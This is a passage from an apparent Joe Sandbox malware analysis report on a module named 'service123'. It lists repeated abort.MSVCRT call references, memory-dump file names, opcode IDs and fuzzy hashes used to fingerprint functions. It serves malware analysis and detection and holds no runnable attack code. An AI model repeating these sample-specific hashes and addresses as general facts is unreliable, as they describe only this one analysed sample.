abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction ID: e81c0d012fb4b4bff1125184ff83ddb3e3e85550718c2928ab3e0433e6ffe1af
Opcode Fuzzy Hash: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction Fuzzy Hash: 6DF027345CD12ACFC3386B2C80709A17333776730CB9A4491D8826BF14C319D403C761

Function 6C17BEE7 Relevance: 37.6, APIs: 25, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e98c217cc520a6211fff9092a7bb108eb67f7f93a259c993993ef78c58d50e36
Instruction ID: 0a1821033a9e71848955212c280ad99eb531fc32b479f7247cd6ba755fcb5783
Opcode Fuzzy Hash: e98c217cc520a6211fff9092a7bb108eb67f7f93a259c993993ef78c58d50e36
Instruction Fuzzy Hash: EB019073A0AA2607D3244E75C4E1361BA926F8371CF19C6A9CD7617F8AC7389808DB60

Function 6C17BC1B Relevance: 37.6, APIs: 25, Instructions: 55COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction ID: 2dd5b7d2954bc595d5f67a8b140162d009e89ce30d3cf54c8801ba6b368ef2fe
Opcode Fuzzy Hash: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction Fuzzy Hash: 1BE0863664E31E4785206A98B4A01AAB2549B4239DF225C28DD09A3E00D345E40C8AD2

Function 6C17BE00 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction ID: 427b33c2729ff78ac1de2fa151e8b1a4e63c296db33a64f53ce31530310b5f1f
Opcode Fuzzy Hash: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction Fuzzy Hash: 3FD05E3054E11B8B8B089F2880E88A9F2A56B46348B2A9894C406A7E05D629EA098A04

Function 6C17BE70 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction ID: 5dc0a5220b6626e9bdf19a089f8289e7322042d0096905a931fb967f2f859ac9
Opcode Fuzzy Hash: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction Fuzzy Hash: CAD0177418AB098F8314EF08D1E48A9B7E5AF4A355F029D69C80A97F20D739D408CE11

Function 6C17BDC7 Relevance: 37.5, APIs: 25, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction ID: 84e5a188f17fd11f7bc0ccc84f8c3956e6a1ac99adbc7f327bba17b5feeae324
Opcode Fuzzy Hash: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction Fuzzy Hash: 29C0123598E7198BC1206E9850A0366F294AB0B259F236C188C4B33F008B59E8088A55

Function 6C17BE98 Relevance: 37.5, APIs: 25, Instructions: 43COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction ID: 8478cb1b1a226bc44a631a86ace961c5f23fbff438863fa652b4075e6881b3f1
Opcode Fuzzy Hash: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction Fuzzy Hash: 48C0123964E61A8B8210AE8490E05A9B264BB4B348F022C54D80377F008768E408CA51

Function 6C17BDE8 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction ID: 175bcf05b8bf607b6f665cbd230e9102aca902e9e69a8eafc4ce205eb2aeaed7
Opcode Fuzzy Hash: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction Fuzzy Hash: 3AC08C309CE7198740103E0810F0178B2A4270B2B8F072D14C80733F00CA0ED8088954

Function 6C17C150 Relevance: 36.3, APIs: 24, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c6b1342abc50d43b5e763e4f65d1d1d18c90c078ab18e49559e9d23ed72ced4
Instruction ID: c7b9232c664489653a2e09b10044ef30502694dc8ab2f84ae456ab49ebfe6a92
Opcode Fuzzy Hash: 8c6b1342abc50d43b5e763e4f65d1d1d18c90c078ab18e49559e9d23ed72ced4
